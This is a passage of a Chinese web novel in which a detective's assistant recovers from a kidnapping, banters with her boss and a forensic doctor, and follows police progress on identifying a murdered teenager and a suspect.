他做的“脏活”可不是保洁一类的,而是一些见不得光的工作,比如帮人讨|债、收保护费,或者找人做局敲诈勒索,一回能赚个两三百,运气好能赚到千八百。
大约四五天前,有个人在网上找到孙彪,说是要他办件事,只要事成,就给他十万元酬劳,并且立刻给他转了三万块钱定金。
十万,对孙彪来说是笔巨款,足够他挥霍好一阵了,他甚至没问是什么事就满口答应下来——反正人他都杀过了,难道还有比杀人更难的事?
更何况,对方交代的事可没有杀人那么严重,只不过麻烦了点儿。
首先,他们要去一个指定的地方挖出一具埋在地里的尸体,把尸体带到无人处,并在不惊动警方的情况下,请一名专业的法医去给尸体做尸检。
而且这些事,最好能在两三天之内完成。
祝好问:“那他们为什么会选温主任呢?”
程述没好气:“急什么,事情不得按顺序说吗?”
祝好白他一眼,讪讪地闭了嘴。
按“道上”不成文的规定,孙彪只管收钱办事,其他不该问的一律不会多问。
不过有一点孙彪自己也觉得奇怪,挖尸体的地方是西临市的郊外,跟淮江市相隔五六百公里,如果在那儿随便绑个法医,可以省去很多麻烦——毕竟把一具尸体运那么远、万一路上碰到交警查车怎么办?
但雇主很坚持,要求验尸这件事一定不能在西临市办。孙彪虽然无恶不作,但还挺讲诚信,即然收了钱,那人家说什么就是什么。
挖出一具尸体运到无人的地方,还要绑架个法医去验尸,这工作量显然不是一个人可以完成的,必须要有个帮手,所以孙彪想到了瘦猴。
瘦猴名叫侯展鹏,之前曾跟孙彪一起上门帮人讨|债,一来二去也就认识了。孙彪知道他好赌,而且最近赌运不好,十分缺钱,便把这事跟他说了,并答应事成之后跟他四六分。
不出所料,瘦猴一听说有几万块酬劳,想也没想就答应了。
找到帮手之后,就开始制定计划,首先是要找个验尸的地点。
这个地点必须很偏僻,不会人被打扰,周围路况最好复杂点,就算绑来的法医不小心跑了,一时半会也逃不远。
瘦猴想到了自己之前曾工作过的一家木材加工厂,十多年前工厂倒闭后就一直闲置着,那里位置偏僻、周围又都是树林,就算真的发生点什么,短时间内也不会有人发现。
接着,他们租了一辆即将报废的皮卡车,在指定的地点挖出了那具尸体,用塑料袋包裹好后拉到了工厂里。
解决了尸体的问题,接下来就是找个法医了。
既然工厂是在淮江市郊区,那法医最好也是淮江市找。孙彪上网搜索了一阵,正好看到了温珣出任警局法医部主任的新闻,又打听到他那几天刚好在休假,便把他选定为最佳人选。
搬运尸体倒是简单,毕竟是个死人,不会挣扎也不会逃跑,但绑架一个大活人可就没那么简单。
好在孙彪这么些年在外奔逃,也认识了些形形色色的人,于是从某个当兽医的朋友那里搞到了几支兽用的麻醉剂。
听到这里,祝好不自觉摸了摸颈侧:原来是兽用的麻醉,难怪药效那么强。
那天他们从早上就开始跟踪温珣了,一路跟到了商场,但商场人多,自然不好动手,好在从商场出来后,温珣的车又开到了那家展馆。
展馆观众本就不多,位置偏远,监控也少,简直就是为了绑架而生的好地方。于是趁着停车场空无一人时偷偷从背后靠近,给他们注射了麻药,然后捆上手脚扔上车,去了那废弃工厂。
虽然知道是剧情任务,祝好还是忍不住吐槽:“绑架温主任去尸检,为什么要把我也带上啊?”
“一是担心你醒过来之后报警、惊动了警方,二是觉得你跟温珣的关系——”程述顿了一秒钟,不自在地轻咳一声:“不一般,如果温珣敢反抗,兴许还可以用你的安危来威胁他就范。”
祝好若有所思地点点头,觉得好像还有点儿道理。
程述从祝好手里接过空了的牛奶盒扔进垃圾桶,起身去卫生间洗了手,从袋子里拿了个橘子慢悠悠地剥皮,看似不经意地问了一句:“你跟温珣真的关系不一般啊?”
祝好捻着下巴想了一会儿:“目前来说……还是一般吧。”
他掰了一半橘子递给祝好:“意思是,将来会有‘不一般’的可能?”
祝好又想了想:现在跟三个可攻略对象的好感度都没过半,还只是普通的朋友关系,要说将来会不会有什么样的进展,她还真是拿不准。
于是一摊手:“谁知道呢。”
突然又意识到什么:“不对啊,老大,你什么时候变得那么八卦的?”
“随便问问而已。”他把剩下的那半个橘子塞进嘴里,不动声色地岔开了话题:“你不想知道是谁雇了孙彪吗?”
祝好顿住了:“是谁?”
第88章
祝好满怀期待地看着程述,谁知他一耸肩:“不知道,还没查出来,他每次跟孙彪联系用的是虚拟号码,转账用的也是海外账户。”
没查出来,
那还说个屁啊。
祝好又问:“那他一开始是怎么联系上孙彪的?”
程述说:“据孙彪交代,他们在暗网上有个论坛,双方用的都是虚拟的IP地址,没办法追踪。”
祝好泄了气,一脸失落地靠在床头,突然又想起最开始的问题,“腾”一下想要坐直,却不小心抻到背上的伤口,疼得龇牙咧嘴。
缓了一会儿,才问:“尸体的身份总该查出来了吧?”
那个孩子虽然浑身是伤,但看起来身材并不消瘦,不像是生前流浪或者遭受过囚禁、虐待的样子。正常人家的孩子丢了,应该会马上报警吧?
更何况,根据温珣的尸检结果,他死亡时间已经超过48小时了。
程述拿了个枕头垫在她腰后,让她坐得舒服点儿:“查过了,淮江市暂时没有找到匹配的失踪人口,不过孙彪交代,那具尸体是从西临市市郊的荒地里挖出来的,那里不属于淮江市的管辖范畴,只请那边的警方配合调查了。”
至于在尸体的食管里发现的那枚徽章,上面的图案已经被腐蚀得差不多了,除了那个若隐若现的“8”之外,也找不到其他有用的线索。
查不到雇主,也查不到尸体的身份,更不知晓他们之间的关系。
也就是说,目前为止,这起案子如同走进了死胡同。
祝好有些失落,微微叹了口气。
“老秦已经在查了,你还是先管好你自己吧。”程述半开玩笑半认真地说:“早点恢复,早点出院,还能给我省点医药费。”
也是,这单人病房看起来应该比普通病房贵了不少呢。
“我明天就能出院,这伤也没什么大不了——”她边说边抬起胳膊想要证明给程述看,却不小心扯到肩膀上的伤口,“嘶”地吸了口凉气,只得讷讷转了个调:“大不了,医药费从我工资里扣呗。”
程述没应声,抬眼看到输液瓶里的药液已经见底了,摁铃叫来了护士。
过了一会儿,护士推门进来,拔掉了祝好手背上的输液针,走之前又交代了一句:“马上要关灯了,家属要陪同的话就别说话,让病人早点休息。”
医院住院部统一晚上十点熄灯,祝好抬头看了眼墙上的挂钟,已经九点四十分了。
“听到没,早点休息。”
程述起身小心翼翼抽出祝好腰下垫着的枕头,右胳膊绕过她背后,微微俯下身。
祝好愣了片刻,才反应过来他是要扶自己躺下。犹豫了一下,伸手环住他的脖子,借着他的力往下挪动身子,调整好姿势。
躺下是躺下了,但理应“早点休息”的病人一点儿睡意都没有——毕竟之前睡了两天一夜,这会儿正是精神的时候。
不过听月月说,程述在这儿守了一天一夜,也该累坏了吧,刚想开口让他先回家,就看到他一声不吭从墙边拉了张折叠床,在病床旁边的空地上支了起来。
祝好怔了怔,眨巴着眼睛看他:“你今晚还在这儿睡?”
虽然在同一个屋檐下住了那么久,但一个楼上一个楼下,中间隔着一层楼板,倒也没什么不自在。
可现在算是共处一室,孤男寡女,再怎么的……也不太方便吧。
程述支起折叠床后,“唰”一下拉上了床边的帘子,才应道:“懒得来回跑,随便应付一晚上得了。”
顿了一下,又说:“你晚上如果有事,就叫醒我。”
能有什么事啊?顶多也就是上个洗手间什么的。虽然身上的伤口阵阵发疼,但也不至于生活不能自理,动作幅度小点儿就是了。
不过祝好还是“嗯”了一声。
十点一到,病房准时熄灯。
祝好在床上翻来覆去,过了好一阵也没睡着,只好睁眼看着天花板发呆。
病房很安静,只有墙上的时钟在滴答作响。过了会儿,她听到帘子那边的折叠床的支架发出一声轻微的响动,于是试探性用气声问道:“老大,你睡了吗?”
顿了几秒,程述才回答:“干什么?”
他的声音还算清醒,不是那种半梦半醒的状态。
祝好也不知道自己要干什么,只是一时睡不着,又没有手机可玩,想找人聊聊天打发一下时间而已,于是艰难地翻了个身,面对帘子的方向,没话找话问他:“你是从什么时候发现我失踪的?”
程述从鼻腔里发出一声轻笑:“你不睡觉就是为了问这个吗?”
祝好抿了抿嘴:“我睡不着。”
想了想,又说:“你睡吧,我不吵你了。”
不太牢固的折叠床又发出“吱呀”的晃响,程述似乎是翻了个身,没再说话。
等足足一分钟,正当祝好以为他真的睡了,却听到他开口说话:“从你给我打电话的时候,我就听出来了。”
许是周围环境太安静,他下意识把声音压得很低,祝好屏息凝神才听清他在说什么。
他告诉祝好,那天在电话里,祝好话说到一半突然顿住时,他就已经发现不对劲了。
手机摔落后,电话并没有马上被挂断,他依然能听到听筒那头的动静,立刻警觉起来,给秦聿风打去电话,让他查一下温珣的行踪。
秦聿风跟他认识多年,知道他不会无缘无故提出这样的要求,来不及细问,就委托交警部门的熟人帮忙调取交通监控,查了半天,发现他的车在去往展馆后,就没再出现过。
程述闻言,马不停蹄赶往展馆,却只在停车场发现了温珣被罩扎破轮胎的车和祝好被踩碎的手机。
一般来说,查手机定位需要申请审批,但是情况紧急,秦聿风大半夜给上级领导打了几个电话,硬是想办法把人摇醒,让技术人员定位到了温珣的手机。
只是温珣的手机大概是半路没电关机了,信号消失的位置是一条二级公路,两旁全是树林,一时半会儿没办法确定他们究竟被带去了哪儿,只能用最原始的方法,一面派出大量人员搜索,一面动用无人机在沿路的树林里寻找。
这一找,就从天黑找到天亮。
再后来,就是从温珣口中听到的了。祝好把孙彪引开后,他从路边拾了根木棍,咬牙走了大约二十分钟,才走到公路上,拦下了一辆货车。
巧的是,热心的货车司机一路开过来,恰好遇见过在路边参与搜寻工作的警员、又出于好奇打听了几句,一见到温珣,意识到或许这就是警方要找的人,赶紧报了警。
接到电话,秦聿风赶紧吩咐警员把温珣送去医院,然后跟程述一起按他提供的位置赶到了工厂。
当时祝好已经躺在地上无法动弹了,情急之下,秦聿风拔枪朝着天空射了一枪,趁着孙彪愣神的功夫,程述迅速扑上前,把他摁在地上狠狠揍了一顿。
没想到自己的失踪的这一夜竟然发生了那么多事、还惊动了那么多人,祝好听得有些热血沸腾,困意更是消失无踪。
程述给她浇了盆冷水:“警方忙活又不全是为了找你,主要是为了温珣,你只是个附带的。”
祝好当然也明白,一个是毫不起眼的编外人员,一个是有编制的法医部主任,用脚趾头想想也知道谁更重要。
她想了想,问:“那你呢?”
程述顿了几秒钟,才说:“我什么?”
祝好:“听说你急得一整个晚上都没睡。”
——他每次跟温珣见面都恨不得掐起来,总不见得是为了温珣急得睡不着吧?
如果不是为了温珣,难道是……为了她?
帘子那边陷入了安静。
过了好一会儿,才听到他说:“困了,睡吧。”
祝好:“……”
她面向帘子,定定望了很久,低声说了句:“谢谢你啊,老大。”
程述:“嗯。”
祝好继续自顾自地说:“我保证,如果有一天你不见了,我也一定会想办法找到你的。”
“嗯。”
真冷漠,白瞎了自己这些掏心掏肺的肺腑之言了。
她没再说话,帘子那头也安静下来,连折叠床都没再发出声响。
程述似乎是睡着了。
祝好静静地侧卧在黑暗中,过了许久,悄悄摁开床头的小夜灯,做贼似的把帘子掀起一角,凝视着他的侧影。
那张折叠床对他来说又短又窄,他的两条长腿只能微蜷着。小夜灯橘色的灯光透过帘子的缝隙落在他脸上,沿着他的侧脸轮廓迤逦而行。
祝好突然回想起孙彪踩着她的胳膊、差点把刀插进她胸口之前,脑海里曾经回闪过程述的身影。
为什么会是他呢?
她思考了一会儿,得出结论:自从上回把话说开后,他们之间就形成了一种心照不宣的默契,就算生活在同一个屋檐下,也始终不会过问对方的过去。
或许也因为如此,不知不觉中,她把程述当成了一个避风港,以至于每次碰到解决不了的事、遇到危险,甚至是以为自己命不久矣时,第一个想到的人都是他。
有那么一瞬间,祝好生出一种冲动:她很想告诉他关于自己、关于这个世界的一切。
但最终还是硬生生忍住了。
不是怕他不相信——不相信,顶多当她是在说胡话。可如果他真的相信了,这份彼此不问过去的信任会不会就此消失?
她放下帘子,关掉小夜灯。
病
房里又陷入了一片黑暗,只有淡淡的月光从窗帘的缝隙中倾泻而下。
刚才还觉得自己精神,这会儿困意又袭来了,她打了个哈欠,闭上眼睛,没多久,就发出了绵长而有规律的呼吸声。
折叠床上的程述缓缓睁眼,扭头望着帘子,不知在想些什么。过了好一会儿,才小心翼翼翻了个身,重新闭上眼睛。
第89章
第二天,祝好睁眼的时候天已经亮了。她掀开窗帘往外看了一眼,程述不在病房里,折叠床已经折起来了,整整齐齐靠墙放着。
护士端着托盘推门而入,检查了一下她伤口的恢复情况。
脖子上被麻绳磨破皮的伤口已经开始结痂了,后背的淤青估计还得四五天才能消退,比较严重的伤口是手臂关节的几处擦伤,虽然经过及时处理没有造成感染,但还是需要每天换药。
护士掀开伤口处的纱布,用镊子夹住生理盐水棉球清洗伤口,接着又用碘伏对伤口周围进行消杀。
虽然她的动作很轻柔,但祝好还是疼得龇牙咧嘴,于是拉着她聊起天来,试图分散自己的注意力:“护士姐姐,我什么时候可以出院啊?”
护士给伤口换上新的纱布:“这个得医生说了算,不过你看起来恢复得挺好,再过两天估计就差不多了。”
祝好松了口气,又听见护士问她:“你男朋友呢?”
“啊?”她顿了一下,反应过来她指的是程述,连忙解释:“哦,那个不是我男朋友,是我……老板。”
护士动作一滞,像听到了什么不得了的事,露出一脸难以置信的表情:“老板?”
又笑:“那你这老板还真是关心你,我看他把你送进医院的时候急得咧,天天来这儿守着,我还以为你们是一对呢。”
祝好不知该怎么接茬,敷衍地笑了一下,想把这页翻过去。
护士换完药,前脚刚走出病房,敲门声又响了起来。
祝好说了句:“请进。”
进来的是温珣,他穿着一身休闲西装,单手拎了个袋子,头发打理得整整齐齐,又恢复了往日的矜贵,全然看不出那天的狼狈模样。
他把袋子放在床头,关切道:“祝好,你怎么样了?”
祝好抬手给他看新包扎的纱布:“我没事儿,马上就能出院了。你呢?手上的伤好些了吗?”
温珣点点头:“好多了,昨晚就听说你醒了,但是太晚了不好打扰你,今天探视时间一到我就过来了。”
说完拉了张椅子坐下,用没受伤的左手扶了下眼镜,不太自在地清了下嗓子:“祝好,我听秦队说了,那天你——”
祝好知道他又要提那天自己引开孙彪让他先走的事,赶紧打断他:“我这不是好好的吗,又没缺胳膊少腿的,那天的事就别提了。”
“我是想说——”
祝好又一次打断他:“也别说什么谢谢、对不起之类的。”
他嘴角微微一动,笑得有些勉强,看起来还是在为那天的事情感到愧疚。
祝好给他递上一个安慰的眼神:“真没关系,再说了,我们现在不都平安无事吗?”
她脑海里突然闪过之前看过的那篇“女追男不败攻略”,里面曾说过,“不经意的身体接触可以让感情升温”,于是心念微动,抬手轻轻拍了拍他的手背。
温珣顺着她的话音一抬头,正好对上她的目光,终于露出一个跟往常一样温柔又和煦的笑,另一只手也轻轻搭上她的手背。
系统响起提示音:“与温珣的好感度+5,获得50积分!”
祝好心里乐开了花:太好了,积分又重新回到了300!“不败攻略”居然真的有用,看来等出院了得好好研读一遍才行。
“咳咳——”门口突然传来一声突兀而做作的咳嗽声,打破了祝好好不容易营造出来的暧昧氛围。
她循声望去,看见程述提着一袋早餐倚在门框上,一脸似笑非笑:“怎么,打扰到你们了?”
听到他的声音,温珣默默翻了个白眼,甚至懒得回头看他,拿过床头那个袋子递给祝好:“对了,这是整形医院专用的祛疤凝胶,我妈说效果很好。等你的伤口结痂脱落后,每天涂一点,以后就不会留疤了。等用完了跟我说,我再给你带新的。”
祝好点点头,接过袋子打开,里面放着五六支祛疤凝胶和一个盒子。
“这是……”
温珣笑了笑:“哦,你手机不是摔坏了吗?我昨天去商场买新手机,顺便也给你带了一台。”
“哟,温主任又破费了?”程述没脸没皮地凑上来,把装着手机的盒子拿在手里把玩,然后又还给温珣:“不过她是我的助手,您就不用替她操心了,我会给她买手机的。”
温珣发出一声冷笑:“呵,稀奇了,听说你连工资都不给人家发,你说你要给她买新手机,我怎么不太相信呢?”
程述挑了挑眉:“温主任这是怀疑我的经济实力啊?要不要给你看看我的银行卡余额?”
温珣一抬手:“不必了,我担心会被你散发出来的穷酸气熏到。”
程述被他呛了一下,嘴上还是不服输:“那也比你身上的尸臭味好闻点儿。”
又来了,又来了。
祝好扶着额角,一脸无奈:两个加起来快六十岁的男人,能不能不要那么幼稚啊!
她现在已经不奢求什么暧昧气息了,只希望能赶紧把这两个聒噪的家伙赶出去。
好在又一阵敲门声让他俩暂时闭上了嘴,这回来的是秦聿风。
“哟,一大早的那么热闹,在病房开party啊?”秦聿风风风火火推门进来,先是问祝好:“祝小姐,你的伤好些了吗?”
祝好回答:“护士说再过两天应该就能出院了。”
秦聿风点点头:“按照流程,我需要先给你做份笔录。”
说着拍了拍温珣的肩膀,示意他给自己让位。
温珣刚站起身,程述就十分自然揽住他,把他往门口带:“我们温主任也是个伤员,还是早点回去休息吧。哎,等等,差点忘了——”
他走回病床边,拿起手机塞到温珣手里,将他送出门外后果断锁上了门,隔着玻璃对他摆手:“不送了,拜拜!”
*
闹腾一早上,病房里终于安静下来。
祝好稍稍整理了思绪,把那天从展馆停车场被绑架开始,到从废弃的员工宿舍逃脱的事跟秦聿风讲了一遍。
末了,她问秦聿风:“秦警官,这个案子目前有什么进展吗?”
秦聿点头:“我正要跟你们说呢,西临市那边查到了死者的身份。”
祝好精神一振:“真的吗?”
秦聿风打开手里的文件夹,从里面拿出两份资料,给她和程述一人递了一份:“经过DNA比对,确认死者名叫陈瑞泽,居住在西临市,今年十四周岁,他的父母两天前向西临市警方报告了他的失踪。”
两天前?祝好意识到有哪里不对劲。
温珣做尸检的时候,陈瑞泽的死亡时间已经超过48小时,而现在距离当时的48小时又过去了三天。
也就是说,从他死亡到现在至少有五天时间了,可他的父母为什么没有在他失踪的第一时间就报警,而是等了足足三天呢?
秦聿风解释道:“据陈瑞泽的父母说,陈瑞泽很叛逆,三年前就不肯上学了,
一直辍学在家,之前夜不归宿的情况也发生过好几次,他们就没在意。”
祝好认真看了下资料,上面的确写着,从三年前开始,陈瑞泽就一直处于辍学状态。
秦聿风接着说:“之前他离家出走最多也就是一个晚上,这回连续两天都没回家,电话也一直打不通,家里人这才报了警。”
“西临市警方搜寻了两天都没有结果,恰好我们抓捕了孙彪和侯展鹏、找到了那具尸体,这才对上号。”
叛逆、辍学、夜不归宿、离家出走,加上他身上的伤和被人逼着灌下的氢氧化钠……
祝好灵光一闪,双眼发亮,兴奋得差点儿蹦起来:“我知道了!”
程述无奈地斜她一眼:“你知道什么了?”
“我已经推测出整件事的前因后果了。”祝好清了清嗓子,压低声音:“离家出走的不良少年,深夜徘徊在街头时,无意间听到角落里的对话。他控制不住自己的好奇心,靠在墙上偷听,却无意间撞破了帮派的秘密……少年大吃一惊,转身想要离开,却不小心踢到了路边的石头,引起了帮派成员的警觉。”
“少年拔腿就跑,可帮派人多势众,他很快就被逮住、带到了帮派头目面前。虽然他极力解释自己一定不会将秘密说出去,然而头目完全不理会他,大手一挥,吩咐手下把他处理干净。”
她惋惜地摇了摇头:“可怜的少年,不仅遭到了殴打、强行灌下氢氧化钠,就这样死在了那个深夜,尸体还被人埋在了荒地。”
说完,她简直要被自己有理有据的推测给折服了,向程述投去期待的目光:“老大,你觉得呢?”
“我觉得你的觉得不太符合我的觉得。”程述叹了口气:“我觉得我不应该浪费人生中宝贵的五分钟来听你说这些废话。”
秦聿风用力咬了咬嘴唇,似乎是在强压笑意:“祝小姐,你这想象力还挺天马行空的,不去拍电影可惜了。”
祝好朝他们翻了个白眼,心说你们懂什么,这系统安排的剧情永远没有最离谱,只有更离谱。
她不服气:“那你们说说是怎么回事?”
程述问秦聿风:“他父母有怀疑的对象吗?”
秦聿风:“有一个,是他的一个朋友,名叫周逸,今年十八岁。西临市那边的警方调取了陈瑞泽的通话记录,发现他最后一通电话就是打给周逸的,而且陈瑞泽死亡当天,他的手机信号曾出现在埋尸地点附近。”
“不过这个周逸目前下落不明,电话也关机,不排除是畏罪潜逃了。”
祝好不死心:“这个周逸有没有加入过什么帮派?”
秦聿风险些笑出声来:“没有,资料上显示,他初中毕业后就没再上学,目前在一家工厂打黑工。”
祝好有些失望,问道:“那让孙彪绑架我们去给陈瑞泽做尸检的是谁?”
秦聿风摇头:“现在还不清楚,我明天要去西临市一趟,毕竟尸体是在淮江市发现的,我们得配合那边警方的调查,老程,你要不要一起——”
话还没说完,就被程述抬手打断:“别找我,我没空。”
他指了指祝好:“我要照顾这个病号,还要给家里那只长毛猪铲屎喂粮,忙得要死,你找别人跟你一起去吧。”
秦聿风也没计较,轻笑一声:“算了,不想去就不勉强了,免得又要逼我替你申请加班费。”
他起身伸了个懒腰:“那我就先回去收拾行李了,你好好照顾祝小姐,她在警局内部都要变成传奇了。”
祝好一脸茫然:“啊?”
传奇,什么传奇?
秦聿风说:“侯展鹏,就是那个瘦猴,在审讯室里一直哭诉你用鞋底抽他的脸,把他半边脸都打肿了。还有孙彪,身强力壮,之前还杀过人,我们那儿的男警员都不一定能打过他,你一个女孩儿能把他弄得一头一脸都是伤,已经很了不起了。”
祝好被“传奇”两个字夸得飘飘然,不好意思地抓了抓后脑勺,决定暂时收回刚刚对他嘲笑自己的不满,还替他劝程述:“老大,要不你跟秦警官一起去吧,我又不是生活不能自理。”
程述不耐烦地啧了一声:“不去,别废话,你先吃早餐,都凉了。”
说完披上外套,冲秦聿风摆手:“走了,我正好回家一趟。”
祝好打开他带回来的早餐,突然想起了什么,叫住他:“老大,你能不能给我拍几张白眼狼的照片?”
好几天不见,还怪想它的。
程述脚步一顿,撂下一句“真麻烦”,拉着秦聿风头也不回地走了。
第90章
程述一直到下午都没回医院,这期间祝好实在闷得慌,本想去走廊散散步,奈何因为警方的特殊关照,她被医院列为了重点保护对象,还没挪出几步就被护士抓到,好声好气把她劝回了病房里,生怕她把伤口扯裂了。
她只得百般聊赖地躺在床上,先是扯着系统陪她闲聊,可还没聊几句系统就被她烦得不行,索性直接装死,再也不肯出现了,还怪有个性的。
祝好没办法,又把控制面板中商城的页面翻来覆去看了五六次,想买点东西犒劳一下自己,又舍不得辛苦积攒的积分,纠结半天,还是悻悻地关掉了面板,用遥控器摁开了墙上的电视机。
然而电视里播的来来回回就那几个节目,不是新闻就是狗血肥皂剧,她看了一会儿就开始哈欠连天,甚至开始想念起刚才的热闹了。
她从床头拿了张废纸,三五下叠成个纸飞机,往尖头部分哈了口气后,轻轻把飞机送了出去。
纸飞机优雅地绕着病房转了一大圈,然后精准地戳进推门而入的程述的头发上。
程述:……
精神支柱终于回来了,祝好迫不及待朝他伸出手:“白眼狼的照片呢?”
他把头发上的纸飞机拿下来,从口袋里摸了台手机扔给祝好:“都在这里面了,自己看吧。”
祝好点开相册,瞬间满头黑线——不得不说,程述的拍照水平十分有限,十张照片里有八张没对到焦,还有一张只拍到白眼狼的半边身子,只剩一张勉强还能看。
几天没见,白眼狼似乎又胖了些,难怪秦聿风要叫它“长毛猪”,这么看来,这外号起得还挺贴切。
祝好把那张照片放大又缩小,看了十几遍,才依依不舍地把手机还给程述。
程述没接,瞥了她一眼,淡淡说了句:“这手机是给你的。”
“给我的?”祝好愣了一下,才注意到手里拿的确实是台新手机。
所以他刚才出去那么久,不只是回了趟家,还给她买了台新手机?而且还是最新款,价格差不多能抵两个月房租了。
祝好心里一咯噔,护士早上说过的话如醍醐灌顶,回响在耳边——
“你这老板还真是关心你。”
一个模糊的想法从心里掠过,她冷不丁打了个寒颤,缓缓转头看向程述,小心翼翼地开口:“老大。”
“干嘛?”
“我可以问你个问题吗?”
“说。”
“你该不会是……”祝好缓缓把被子扯到胸口,咽了口唾沫:“想潜规则我吧?”
程述正收拾着床头柜上的果皮纸屑,闻言动作一滞,扭头凉嗖嗖地剐了她一眼,似乎在努力用他为数不多的道德涵养强压住即将脱口而出的国粹,半晌后才挤出一句话:“你该不会是有病吧?”
满腹狐疑被他一句话怼了回去,祝好愣了一下,倏尔松了口气。
也是,自己集美貌与智慧于一身,怎么可能是一台手机就能收买的?
她捧着手机认真地看了几眼,问程述:“那你为什么对我那么好,还给我买那么贵的新手机?”
程述一脸无言以对的恼火表情:“你烦不烦人?不要就还给我,改天再给你买台老人机,能打电话就行。”
“要要要,谁说不要了?”祝好生怕他上手抢,赶紧把手机捂在怀里,欢天喜地
地把唯一能看的那张白眼狼的照片设置成了桌面,又给自己打圆场:“一定是我辛勤工作、努力付出被你看在眼里,所以才奖励我新手机的,对吧?老大,你可真是个好老板。”
程述无奈地斜乜她一眼,没好气道:“你的电话卡也放进去了,刚才一开机就收到好多条信息,你自己看看吧。”
祝好退出相册的界面,果然看到信息那一栏有个小红点。点开一看,除了几条垃圾短信外,剩下的十几条信息全部来自李砚川。
“好好,你看视频里这只小猫好可爱。”
“好好,你怎么不理我?”
“好好,你的手机怎么关机了?不会是出什么事了吧?”
“好好,我到侦探先生家门口了,可是没人在家,你还好吗?”
“好好……”
祝好扶额:好好好,这家伙的本体是只黏人的金毛犬吧?
她点开对话框,回复李砚川:“我没事,前几天有事出差,手机刚好坏了。”
信息刚发过去不到五秒钟,李砚川的电话就打过来了,声音委屈巴巴的:“好好,知道你没事我就放心了,这几天我担心得睡不好。”
要让他知道自己是受伤住院,指不定会哼哧哼哧赶来抱着她大哭一场。
祝好尽量把语气调整得得轻松又随意:“别担心,我没事,你好好睡。”
李砚川松了口气:“那等你忙完了,我可以约你出去玩吗?”
祝好含糊答道:“可以啊,等我忙完了再告诉你吧。”
挂断电话,她叹了口气:应付三个可攻略对象就已经够她头疼的了,万一再多个程述,她还真不知道该怎么办好。
更何况,程述还是个不可攻略的对象,连提升好感度、获得积分的机会都没有。
*
盼星星、盼月亮,盼了整整三天,祝好终于等到了可以办理出院手续的消息。
不过这几天有了新手机,她的生活质量得到了显著提高,可以看视频、玩消消乐打发时间,每次程述回家时还会给她拍几张白眼狼的照片——虽然拍摄水平一如既往地敷衍,但她已经很满足了。
回到家里,一打开家门,白眼狼就一路小跑冲过来,破天荒地没有先去蹭程述的裤腿,而是冲着祝好撒娇打滚。
祝好胳膊上的伤还没好全,抱不动重达十几斤的白眼狼,只好蹲在地上狂撸它的肚皮:“真乖,不愧是我日思夜想的小猫咪。”
程述换了鞋,提着在菜市买的菜径直进了厨房,祝好仗着自己是个伤员,心安理得地在沙发上躺下,边啃着苹果边陪白眼狼玩“你丢我捡”的游戏。
还没过多久,门就被敲响了。祝好从沙发上爬起来开了门,门外站着的是提着旅行包的秦聿风。
“秦警官,你回来了?”
今天恰好也是秦聿风出差归来的日子,他一早就跟程述打了招呼,说要来家里跟他们讨论案情。
当然,主要目的是蹭饭。
“刚到淮江市,累死了。”秦聿风笑着跟她打了个招呼,就先被厨房散发出来的香气吸引了,把旅行包往地上一放,走到厨房门口探头往里张望:“程大厨在忙呢?”
程述回头白他一眼:“我不忙,难道要猫给你做饭?走开,别挡道。”
“好久没尝过程大厨做的菜了,可真怀念啊。”
秦聿风侧过身子给他让出一条路,看着他端了一盘清蒸排骨放在餐桌上,忍不住伸手捻了一块塞进嘴里,然后给出评价:“技术没退步啊,很有当家庭煮夫的潜质。”
程述回到厨房里,把沸腾的牛腩煲转成小火,不耐烦地朝他挥手:“滚去沙发上坐着吧,别烦我。”
秦聿风难得气他一回,嬉皮笑脸地退回客厅。
白眼狼似乎还对秦聿风给它起的外号、以及他上次偷吃自己零食的无礼行径耿耿于怀,看他走过来,扭头就要往沙发底下钻,可惜被肥硕的身躯限制住了,刚进去半截身子,就被秦聿风一把拎起。
“长毛猪,我们又见面了。”
白眼狼在半空中挥舞爪子,发出不满的叫声。
秦聿风不明所以,转头问祝好:“祝小姐,它在说什么?”
祝好一摊手:“不知道,不过感觉骂得挺脏的。”
秦聿风啧了一声:“怎么跟厨房里那位一样脾气那么臭。”
他一松手,重获自由的白眼狼立刻撒腿往门口跑,把他放在地上的旅行包当成了泄愤的磨爪工具。
祝好递给他一杯水:“秦警官,你从西临市回来,掌握了什么新的线索吗?”
秦聿风接过杯子喝了一口水,点点头:“嗯,收获不小,不过——”
话说到一半,就被程述打断了。他把最后一盘菜端到桌上,解开围裙:“饭好了,边吃边聊。”
秦聿风的味蕾常年被外卖和路边摊荼毒,难得吃一回色香味俱全的家常菜,一坐到饭桌上,哪儿还顾得上什么“边吃边聊”,恨不得连盘子一起吃进肚子里。
吃饱喝足,他打了个饱嗝,心满意足地一抹嘴,才开始说起从西临市那边得到的线索。
“上回我跟你们说过那个周逸,你还记得吗?他的电话已经销号了,我跟西临市的警方一同去了他家,感觉有些奇怪。”
祝好皱眉,问道:“怎么了?”
“他家里什么电器、家具都没有,不过倒是在卫生间里发现了一瓶新买的通渠剂,还有几根头发和一颗牙齿,经过DNA比对,确认属于孙瑞泽。”
秦聿风接着道:“警方还在一个商场的地下车库里发现了他的车,车轮上有与埋尸地点成分一致的泥土,同时还在他的电脑里找到了跟孙彪的聊天记录。”
祝好:“也就是说,这个周逸是重点怀疑对象吗?”
秦聿风点了点头:“根据目前掌握的证据,基本可以确定了。”
祝好思忖片刻,不解道:“可是如果人是他杀的,他雇佣孙彪挖尸体、绑架温主任去做尸检,有什么意义呢?”
毕竟十万块钱不是小数目,自己杀了人、又雇人去做这些事,完全就是多此n举,甚至还增加了暴露自己的风险。
“据这个周逸的邻居所说,他的精神不太正常,自从他母亲去世后,就变得神神叨叨的。”秦聿风解释:“不过该我们淮江市警方配合的工作都已经完成了,嫌疑人和死者都是西临市人,剩下的工作就交给那边的警方去完成了。”
祝好一愣:全都交给那边的警方去调查,那她岂不是没办法完成剧情任务了?
更何况按照系统的尿性,案子根本不可能这么快结束。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
90-100
第91章
看祝好沮丧地叹了口气,秦聿风问她:“祝小姐,你有什么想法吗?”
祝好抓了抓脑袋,说:“我觉得有哪里怪怪的。”
说完愣了一下,这句话从她嘴里出现的频率之高,让她都有些不好意思了。
秦聿风倒没在意,还是一副很有兴趣的样子:“怪?怎么看出来的?”
祝好一愣,讷讷答道:“直觉。”
从被绑架去验尸,到顺着尸体的身份找出凶手,每一个环节都透露出说不上来的古怪。
至于究竟是哪里古怪,她又说不出个所以然。
程述用筷尾敲了敲桌沿,露出一个掺着些许揶揄的笑:“我这小助手别的优点没有,不过直觉倒是还挺准的。只要她觉得有疑点,那案子就没结束。”
